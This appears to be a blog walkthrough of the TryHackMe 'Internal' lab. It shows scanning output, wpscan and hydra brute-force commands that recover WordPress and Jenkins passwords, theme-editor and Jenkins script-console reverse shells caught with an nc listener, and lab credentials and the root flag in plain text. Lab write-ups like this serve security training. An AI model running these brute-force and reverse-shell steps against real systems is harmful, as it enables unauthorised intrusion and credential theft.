    Starting Nmap 7.92 ( https://nmap.org ) at 2022-03-23 17:48 IST
    Nmap scan report for internal.thm (10.10.133.153)
    Host is up (0.22s latency).
    Not shown: 998 closed tcp ports (reset)
    PORT   STATE SERVICE VERSION
    22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
    | ssh-hostkey: 
    |   2048 6e:fa:ef:be:f6:5f:98:b9:59:7b:f7:8e:b9:c5:62:1e (RSA)
    |   256 ed:64:ed:33:e5:c9:30:58:ba:23:04:0d:14:eb:30:e9 (ECDSA)
    |_  256 b0:7f:7f:7b:52:62:62:2a:60:d4:3d:36:fa:89:ee:ff (ED25519)
    80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
    |_http-server-header: Apache/2.4.29 (Ubuntu)
    |_http-title: Apache2 Ubuntu Default Page: It works
    Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
    
    Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
    Nmap done: 1 IP address (1 host up) scanned in 19.27 seconds
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/tryhackme-internal]
    └─$ 
    
     
      
    


    i visited internal.thm with port no 80, 22 etc but i didn't get any clue like any password, username, robots.txt etc.


    But now we will enumeration with gobuster and find out directory and we get a likely wordpress site...


    ┌──(hackerboy㉿KumarAtulJaiswal)-[~]
    └─$ gobuster -e .php,.html,.txt dir -u http://10.10.4.254/ -w /usr/share/dirb/wordlists/common.txt
    ===============================================================
    Gobuster v3.1.0
    by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
    ===============================================================
    [+] Url:                     http://10.10.4.254/
    [+] Method:                  GET
    [+] Threads:                 10
    [+] Wordlist:                /usr/share/dirb/wordlists/common.txt
    [+] Negative Status codes:   404
    [+] User Agent:              gobuster/3.1.0
    [+] Expanded:                true
    [+] Timeout:                 10s
    ===============================================================
    2022/03/21 07:39:49 Starting gobuster in directory enumeration mode
    ===============================================================
    http://10.10.4.254/.htaccess            (Status: 403) [Size: 276]
    http://10.10.4.254/.htpasswd            (Status: 403) [Size: 276]
    http://10.10.4.254/.hta                 (Status: 403) [Size: 276]
    http://10.10.4.254/blog                 (Status: 301) [Size: 309] [--> http://10.10.4.254/blog/]
    http://10.10.4.254/index.html           (Status: 200) [Size: 10918]                             
    http://10.10.4.254/javascript           (Status: 301) [Size: 315] [--> http://10.10.4.254/javascript/]
    http://10.10.4.254/phpmyadmin           (Status: 301) [Size: 315] [--> http://10.10.4.254/phpmyadmin/]
    http://10.10.4.254/server-status        (Status: 403) [Size: 276]                                     
    http://10.10.4.254/wordpress            (Status: 301) [Size: 314] [--> http://10.10.4.254/wordpress/] 
                                                                                                          
    ===============================================================
    2022/03/21 07:41:46 Finished
    ===============================================================
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~]
    └─$ #www.kumaratuljaiswal.in    #www.hackingtruth.in                                                   
    
    
    
    



    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/tryhackme-internal] └─$ gobuster -e .php,.html,.txt dir -u http://10.10.4.254/wordpress/ -w /usr/share/dirb/wordlists/common.txt 130 ⨯ =============================================================== Gobuster v3.1.0 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://10.10.4.254/wordpress/ [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/dirb/wordlists/common.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.1.0 [+] Expanded: true [+] Timeout: 10s =============================================================== 2022/03/21 08:09:54 Starting gobuster in directory enumeration mode =============================================================== http://10.10.4.254/wordpress/.hta (Status: 403) [Size: 276] http://10.10.4.254/wordpress/.htaccess (Status: 403) [Size: 276] http://10.10.4.254/wordpress/.htpasswd (Status: 403) [Size: 276] http://10.10.4.254/wordpress/index.php (Status: 301) [Size: 0] [--> http://10.10.4.254/wordpress/] http://10.10.4.254/wordpress/wp-admin (Status: 301) [Size: 323] [--> http://10.10.4.254/wordpress/wp-admin/] http://10.10.4.254/wordpress/wp-content (Status: 301) [Size: 325] [--> http://10.10.4.254/wordpress/wp-content/] http://10.10.4.254/wordpress/wp-includes (Status: 301) [Size: 326] [--> http://10.10.4.254/wordpress/wp-includes/] http://10.10.4.254/wordpress/xmlrpc.php (Status: 405) [Size: 42] =============================================================== 2022/03/21 08:12:12 Finished =============================================================== ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/tryhackme-internal] └─$


    we will get a /blog directory and now we will visit..



    TryHackMe Penetration Testing Challenge




    As you can see from above on going process, it already found a directory that is /blog. If we visit http://internal.thm/blog then we see a blog with one single post named as “Hello World”.


    It’s obvious now that this is designed using WordPress application. We have a user called “admin”, who posted this blog.


    When we go to internal.thm/blog and you can see there are hello world printed wordpress website and if you do research when you have to go "view page source" and to do that press ctrl+f and type ver.

    so you can see that the version and theme is twentyseven and version is 5.4.2

    lets exploit because i think there are some exploitation code available for this version and the theme...


    internal.thm/blog/?author=1



    TryHackMe Penetration Testing Challenge


     

    Otherwise we get a login page also but we don't have any password..

     


    TryHackMe Penetration Testing Challenge


    Wordpress enumeration



    Browsing /blog confirms our assumption, this is a Wordpress blog. Let’s enumerate the users with wpscan:

    wpscan --url http://10.10.4.254/blog -e u


    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/tryhackme-internal]
    └─$ sudo wpscan --url http://10.10.4.254/blog -e u 
    _______________________________________________________________
             __          _______   _____
             \ \        / /  __ \ / ____|
              \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
               \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
                \  /\  /  | |     ____) | (__| (_| | | | |
                 \/  \/   |_|    |_____/ \___|\__,_|_| |_|
    
             WordPress Security Scanner by the WPScan Team
                             Version 3.8.20
           Sponsored by Automattic - https://automattic.com/
           @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
    _______________________________________________________________
    
    [i] It seems like you have not updated the database for some time.
    [?] Do you want to update now? [Y]es [N]o, default: [N]
    [+] URL: http://10.10.4.254/blog/ [10.10.4.254]
    [+] Started: Mon Mar 21 08:35:39 2022
    
    Interesting Finding(s):
    
    [+] Headers
     | Interesting Entry: Server: Apache/2.4.29 (Ubuntu)
     | Found By: Headers (Passive Detection)
     | Confidence: 100%
    
    [+] XML-RPC seems to be enabled: http://10.10.4.254/blog/xmlrpc.php
     | Found By: Direct Access (Aggressive Detection)
     | Confidence: 100%
     | References:
     |  - http://codex.wordpress.org/XML-RPC_Pingback_API
     |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
     |  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
     |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
     |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/
    
    [+] WordPress readme found: http://10.10.4.254/blog/readme.html
     | Found By: Direct Access (Aggressive Detection)
     | Confidence: 100%
    
    [+] The external WP-Cron seems to be enabled: http://10.10.4.254/blog/wp-cron.php
     | Found By: Direct Access (Aggressive Detection)
     | Confidence: 60%
     | References:
     |  - https://www.iplocation.net/defend-wordpress-from-ddos
     |  - https://github.com/wpscanteam/wpscan/issues/1299
    
    [+] WordPress version 5.4.2 identified (Insecure, released on 2020-06-10).
     | Found By: Emoji Settings (Passive Detection)
     |  - http://10.10.4.254/blog/, Match: 'wp-includes\/js\/wp-emoji-release.min.js?ver=5.4.2'
     | Confirmed By: Meta Generator (Passive Detection)
     |  - http://10.10.4.254/blog/, Match: 'WordPress 5.4.2'
    
    [i] The main theme could not be detected.
    
    [+] Enumerating Users (via Passive and Aggressive Methods)
     Brute Forcing Author IDs - Time: 00:00:02 <==============================================================================================================> (10 / 10) 100.00% Time: 00:00:02
    
    [i] User(s) Identified:
    
    [+] admin
     | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
     | Confirmed By: Login Error Messages (Aggressive Detection)
    
    [!] No WPScan API Token given, as a result vulnerability data has not been output.
    [!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register
    
    [+] Finished: Mon Mar 21 08:36:13 2022
    [+] Requests Done: 49
    [+] Cached Requests: 4
    [+] Data Sent: 11.302 KB
    [+] Data Received: 240.52 KB
    [+] Memory used: 123.637 MB
    [+] Elapsed time: 00:00:33
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/tryhackme-internal]
    └─$ 
    
    
    
    
    
    
    

    According to WPScan, the only user is admin. Let’s try to brute force the password, using the bruteforce feature of WPScan:

    wpscan --url http://10.10.4.254/blog  --usernames admin --passwords /home/hackerboy/Desktop/tryhackme-internal/rockyou.txt


    
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~]
    └─$ sudo wpscan --url http://10.10.4.254/blog  --usernames admin --passwords /home/hackerboy/Desktop/tryhackme-internal/rockyou.txt
    [sudo] password for hackerboy: 
    _______________________________________________________________
             __          _______   _____
             \ \        / /  __ \ / ____|
              \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
               \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
                \  /\  /  | |     ____) | (__| (_| | | | |
                 \/  \/   |_|    |_____/ \___|\__,_|_| |_|
    
             WordPress Security Scanner by the WPScan Team
                             Version 3.8.20
           Sponsored by Automattic - https://automattic.com/
           @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
    _______________________________________________________________
    
    [i] It seems like you have not updated the database for some time.
    [?] Do you want to update now? [Y]es [N]o, default: [N]
    [+] URL: http://10.10.4.254/blog/ [10.10.4.254]
    [+] Started: Mon Mar 21 08:53:33 2022
    
    Interesting Finding(s):
    
    [+] Headers
     | Interesting Entry: Server: Apache/2.4.29 (Ubuntu)
     | Found By: Headers (Passive Detection)
     | Confidence: 100%
    
    [+] XML-RPC seems to be enabled: http://10.10.4.254/blog/xmlrpc.php
     | Found By: Direct Access (Aggressive Detection)
     | Confidence: 100%
     | References:
     |  - http://codex.wordpress.org/XML-RPC_Pingback_API
     |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
     |  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
     |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
     |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/
    
    [+] WordPress readme found: http://10.10.4.254/blog/readme.html
     | Found By: Direct Access (Aggressive Detection)
     | Confidence: 100%
    
    [+] The external WP-Cron seems to be enabled: http://10.10.4.254/blog/wp-cron.php
     | Found By: Direct Access (Aggressive Detection)
     | Confidence: 60%
     | References:
     |  - https://www.iplocation.net/defend-wordpress-from-ddos
     |  - https://github.com/wpscanteam/wpscan/issues/1299
    
    [+] WordPress version 5.4.2 identified (Insecure, released on 2020-06-10).
     | Found By: Emoji Settings (Passive Detection)
     |  - http://10.10.4.254/blog/, Match: 'wp-includes\/js\/wp-emoji-release.min.js?ver=5.4.2'
     | Confirmed By: Meta Generator (Passive Detection)
     |  - http://10.10.4.254/blog/, Match: 'WordPress 5.4.2'
    
    [i] The main theme could not be detected.
    
    [+] Enumerating All Plugins (via Passive Methods)
    
    [i] No plugins Found.
    
    [+] Enumerating Config Backups (via Passive and Aggressive Methods)
     Checking Config Backups - Time: 00:00:13 <=============================================================================================================> (137 / 137) 100.00% Time: 00:00:13
    
    [i] No Config Backups Found.
    
    [+] Performing password attack on Xmlrpc against 1 user/s
    [SUCCESS] - admin / my2boys                                                                                                                                                                 
    Trying admin / 111111 Time: 00:00:01 <=================================                                                                                    > (10 / 34) 29.41%  ETA: ??:??:??
    
    [!] Valid Combinations Found:
     | Username: admin, Password: my2boys
    
    [!] No WPScan API Token given, as a result vulnerability data has not been output.
    [!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register
    
    [+] Finished: Mon Mar 21 08:54:10 2022
    [+] Requests Done: 177
    [+] Cached Requests: 4
    [+] Data Sent: 48.436 KB
    [+] Data Received: 201.522 KB
    [+] Memory used: 171.504 MB
    [+] Elapsed time: 00:00:36
                                                                                                                                                                                                
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~]
    └─$ 
    
    
    
    

    Username: admin, Password: my2boys



    TryHackMe Penetration Testing Challenge



    after login (http://internal.thm/blog/wp-admin/) is successful with admin:my2boys and we now have the ability to modify the templates PHP source code. This will be convenient to write a reverse shell.


    In the web interface, go to “Appearance > Theme Editor > 404.php” and replace the PHP code with a PHP reverse shell (e.g. http://pentestmonkey.net/tools/web-shells/php-reverse-shell).


    But before that we have to edit it to add our attacker machine IP address and port address.

    We are doing this because, after this .php file execution it gives us a reverse shell on specified IP address and port.



    TryHackMe Penetration Testing Challenge



    and after than open a listener ( nc -lvnp 4444) and call the template (http://internal.thm/blog/wp-content/themes/twentyseventeen/404.php).

     

    -l (Listen mode, for inbound connects)
    -v (verbose)
    -n (Suppress name/port resolutions)
    -p (Specify local port for remote connects)

     



    TryHackMe Penetration Testing Challenge



    TryHackMe Penetration Testing Challenge




    TryHackMe Penetration Testing Challenge



    Now we have a reverse shell on our machine (kali linux). Let’s move around and find out who’s the user of this machine.

    There are one directory available but we don't have any access...



    TryHackMe Penetration Testing Challenge


    but there is an interesting file in the /opt directory.



    TryHackMe Penetration Testing Challenge



    NOTE- We do not have any reason to use these command but, yes if you want a SHELL on a machine through which you can easily access everything, then you absolutely can.

    we have used this for clear command because it was not already available in its environment.

     

     

    $ whoami
    www-data
    $ #www.hackingtruth.org
    $ python -c 'import pty; pty.spawn("/bin/bash");'
    www-data@internal:/$ export TERM=xterm
    export TERM=xterm
    www-data@internal:/$ ls
    ls
    bin    dev   initrd.img      lib64       mnt   root  snap      sys  var
    boot   etc   initrd.img.old  lost+found  opt   run   srv       tmp  vmlinuz
    cdrom  home  lib             media       proc  sbin  swap.img  usr  vmlinuz.old
    www-data@internal:/$ cd /opt
    cd /opt
    www-data@internal:/opt$ ls
    ls
    containerd  wp-save.txt
    www-data@internal:/opt$ cat wp-save.txt
    cat wp-save.txt
    Bill,
    
    Aubreanna needed these credentials for something later.  Let her know you have them and where they are.
    
    aubreanna:bubb13guM!@#123
    www-data@internal:/opt$ 
    
    
    

     


    python -c 'import pty; pty.spawn("/bin/bash");'

    export TERM=xterm


    Even MySQL credentials can be found by inspecting the wp-config.php file – unfortunately these did not seem to server any purpose although it’s always best to check for these:

    cd /var/www/html/wordpress

    ls

    cat wp-config.php



    TryHackMe Penetration Testing Challenge

     

     

    Logging in as the aubreanna user via SSH:


    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/tryhackme-internal]
    └─$ ssh aubreanna@internal.thm      
    The authenticity of host 'internal.thm (10.10.93.158)' can't be established.
    ED25519 key fingerprint is SHA256:seRYczfyDrkweytt6CJT/aBCJZMIcvlYYrTgoGxeHs4.
    This key is not known by any other names
    Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
    Warning: Permanently added 'internal.thm' (ED25519) to the list of known hosts.
    aubreanna@internal.thm's password: 
    Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-112-generic x86_64)
    
     * Documentation:  https://help.ubuntu.com
     * Management:     https://landscape.canonical.com
     * Support:        https://ubuntu.com/advantage
    
      System information as of Mon Mar 21 14:11:08 UTC 2022
    
      System load:  0.0               Processes:              114
      Usage of /:   63.7% of 8.79GB   Users logged in:        0
      Memory usage: 34%               IP address for eth0:    10.10.93.158
      Swap usage:   0%                IP address for docker0: 172.17.0.1
    
      => There is 1 zombie process.
    
    
     * Canonical Livepatch is available for installation.
       - Reduce system reboots and improve kernel security. Activate at:
         https://ubuntu.com/livepatch
    
    0 packages can be updated.
    0 updates are security updates.
    
    
    Last login: Mon Aug  3 19:56:19 2020 from 10.6.2.56
    aubreanna@internal:~$ whoami
    aubreanna                                                                                      
    aubreanna@internal:~$ 
                                                                                                             
                                        
    
    
    

    User flag


    The user flag is in aubreanna’s home folder:


    cd /home/aubreanna
    ls
    cat user.txt


    TryHackMe Penetration Testing Challenge



    Root.txt Flag


    When enumerating the home directory, found information about Jenkins, which appears to be running on port 8080:



    TryHackMe Penetration Testing Challenge



    Since port 8080 can only by accessed locally, setting up port forwarding in order to redirect traffic to localhost on port 1234 to the target machine on port 8080:





    Jenkins is now accessible from the Kali host:

    Default credentials did not seem to work, capturing the login request in order to construct a Hydra command to try and brute-force credentials:


    TryHackMe Penetration Testing Challenge



    Using hydra to brute-force the password, using the following flags:

    • -f to stop the attack when a valid password is found
    • -l to specify the username for the brute-force attack
    • -P to specify the wordlist to use for the bruteforce attack
    • -s to specify the port to connect to
    • the service and target to brute force
    • http-post-form to specify the URL including all of the parameters used in the request, such as the username, password, and the failed authentication message




    sudo hydra -f -l admin -P /home/hackerboy/Documents/rockyou.txt -s 1234  127.0.0.1 http-form-post  "/j_aceom=%2F&Submit=Sign+in:Invalid username or password"

    OR


    sudo hydra -f -l admin -P /home/hackerboy/Documents/rockyou.txt -s 1234  127.0.0.1 http-form-post  "/j_acegi_security_check:j_username=^USER^&j_password=^PASS^=%2F&Submit=Sign+in:Invalid username or password"



    TryHackMe Penetration Testing Challenge




    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/tryhackme-internal]
    └─$ sudo hydra -f -l admin -P /home/hackerboy/Documents/rockyou.txt -s 1234  127.0.0.1 http-form-post  "/j_aceom=%2F&Submit=Sign+in:Invalid username or password"  
    Hydra v9.2 (c) 2021 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organthese *** ignore laws and ethics anyway).
    
    Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-03-21 21:25:51
    [DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per t
    [DATA] attacking http-post-form://127.0.0.1:1234/j_acegi_security_check:j_username=^USER^&j_password=^PASS^&fr
    [1234][http-post-form] host: 127.0.0.1   login: admin   password: spongebob
    [STATUS] attack finished for 127.0.0.1 (valid pair found)
    1 of 1 target successfully completed, 1 valid password found
    Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-03-21 21:26:41
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/tryhackme-internal]
    └─$ #www.kumaratuljaiswal.in    #www.hackingtruth.in
    
    
    
    


    Hydra was able to brute-force the admin user’s password. Logging into Jenkins:


    TryHackMe Penetration Testing Challenge


    Jenkins comes with a “Script Console” administrative tool, which allows authenticated users to run scripts using Apache Groovy, a Java-syntax-compatible object-oriented programming language for the Java platform. This can be leveraged to execute Bash commands as well as reverse shells.

    Clicking on “Manage Jenkins–>Script Console:


    The next step is to set up a Netcat listener, which will catch the reverse shell when it is executed by the victim host, using the following flags:

        -l to listen for incoming connections
        -v for verbose output
        -n to skip the DNS lookup
        -p to specify the port to listen on


     

     

    TryHackMe Penetration Testing Challenge


    Used the reverse shell also from this handy blog post, replacing IP address and port:



    TryHackMe Penetration Testing Challenge


    A callback was received, granting access as the jenkins user within a Docker container:

    When enumerating common files and folders in the web server, the /opt directory appears to contain a note with the root password:


    cd /
    clear
    TERM environment variable not set.
    export TERM=xterm
    clear
    whoami
    jenkins
    pwd
    /
    ls -la
    total 84
    drwxr-xr-x   1 root root 4096 Aug  3  2020 .
    drwxr-xr-x   1 root root 4096 Aug  3  2020 ..
    -rwxr-xr-x   1 root root    0 Aug  3  2020 .dockerenv
    drwxr-xr-x   1 root root 4096 Aug  3  2020 bin
    drwxr-xr-x   2 root root 4096 Sep  8  2019 boot
    drwxr-xr-x   5 root root  340 Mar 21 12:54 dev
    drwxr-xr-x   1 root root 4096 Aug  3  2020 etc
    drwxr-xr-x   2 root root 4096 Sep  8  2019 home
    drwxr-xr-x   1 root root 4096 Jan 30  2020 lib
    drwxr-xr-x   2 root root 4096 Jan 30  2020 lib64
    drwxr-xr-x   2 root root 4096 Jan 30  2020 media
    drwxr-xr-x   2 root root 4096 Jan 30  2020 mnt
    drwxr-xr-x   1 root root 4096 Aug  3  2020 opt
    dr-xr-xr-x 130 root root    0 Mar 21 12:54 proc
    drwx------   1 root root 4096 Aug  3  2020 root
    drwxr-xr-x   3 root root 4096 Jan 30  2020 run
    drwxr-xr-x   1 root root 4096 Jul 28  2020 sbin
    drwxr-xr-x   2 root root 4096 Jan 30  2020 srv
    dr-xr-xr-x  13 root root    0 Mar 21 13:56 sys
    drwxrwxrwt   1 root root 4096 Mar 21 12:54 tmp
    drwxr-xr-x   1 root root 4096 Jan 30  2020 usr
    drwxr-xr-x   1 root root 4096 Jul 28  2020 var
    cd /var
    ls -la
    total 64
    drwxr-xr-x  1 root    root    4096 Jul 28  2020 .
    drwxr-xr-x  1 root    root    4096 Aug  3  2020 ..
    drwxr-xr-x  2 root    root    4096 Sep  8  2019 backups
    drwxr-xr-x  1 root    root    4096 Feb  2  2020 cache
    drwxr-xr-x 15 jenkins jenkins 4096 Mar 21 12:55 jenkins_home
    drwxr-xr-x  1 root    root    4096 Feb  2  2020 lib
    drwxrwsr-x  2 root    staff   4096 Sep  8  2019 local
    lrwxrwxrwx  1 root    root       9 Jan 30  2020 lock -> /run/lock
    drwxr-xr-x  1 root    root    4096 Feb  2  2020 log
    drwxrwsr-x  2 root    mail    4096 Jan 30  2020 mail
    drwxr-xr-x  2 root    root    4096 Jan 30  2020 opt
    lrwxrwxrwx  1 root    root       4 Jan 30  2020 run -> /run
    drwxr-xr-x  2 root    root    4096 Jan 30  2020 spool
    drwxrwxrwt  2 root    root    4096 Sep  8  2019 tmp
    cd /opt
    ls -la
    total 12
    drwxr-xr-x 1 root root 4096 Aug  3  2020 .
    drwxr-xr-x 1 root root 4096 Aug  3  2020 ..
    -rw-r--r-- 1 root root  204 Aug  3  2020 note.txt
    cat note.txt
    Aubreanna,
    
    Will wanted these credentials secured behind the Jenkins container since we have several layers of defense here.  Use them if you 
    need access to the root user account.
    
    root:tr0ub13guM!@#123
    
    
    
    


    Root flag


    Back to our initial SSH connection as aubreanna:

    OR


    Authenticating as root through SSH with the credentials found:
    (ssh root@internal.thm)


    TryHackMe Penetration Testing Challenge


    www-data@internal:/$ whoami
    whoami
    www-data
    www-data@internal:/$ cd /var/backups
    cd /var/backups
    www-data@internal:/var/backups$ su root
    su root
    Password: tr0ub13guM!@#123
    
    root@internal:/var/backups# 
    
    


    root@internal:/var/backups# ls
    ls
    alternatives.tar.0 dpkg.diversions.0 group.bak shadow.bak
    apt.extended_states.0 dpkg.statoverride.0 gshadow.bak
    apt.extended_states.1.gz dpkg.status.0 passwd.bak
    root@internal:/var/backups#

    root@internal:/var/backups# cd /root/
    cd /root/
    root@internal:~# ls
    ls
    root.txt snap
    root@internal:~# cat root.txt
    cat root.txt
    THM{d0ck3r_d3str0y3r}
    root@internal:~#





    Congratulations we got it :-)




    Disclaimer

     

    All tutorials are for informational and educational purposes only and have been made using our own routers, servers, websites and other vulnerable free resources. we do not contain any illegal activity. We believe that ethical hacking, information security and cyber security should be familiar subjects to anyone using digital information and computers. Hacking Truth is against misuse of the information and we strongly suggest against it. Please regard the word hacking as ethical hacking or penetration testing every time this word is used. We do not promote, encourage, support or excite any illegal activity or hacking.





  • WHAT WE DO

    We've been developing corporate tailored services for clients for 30 years.

    CONTACT US

    For enquiries you can contact us in several different ways. Contact details are below.

    Hacking Truth.in

    • Street :Road Street 00
    • Person :Person
    • Phone :+045 123 755 755
    • Country :POLAND
    • Email :contact@heaven.com

    Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.

    Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation.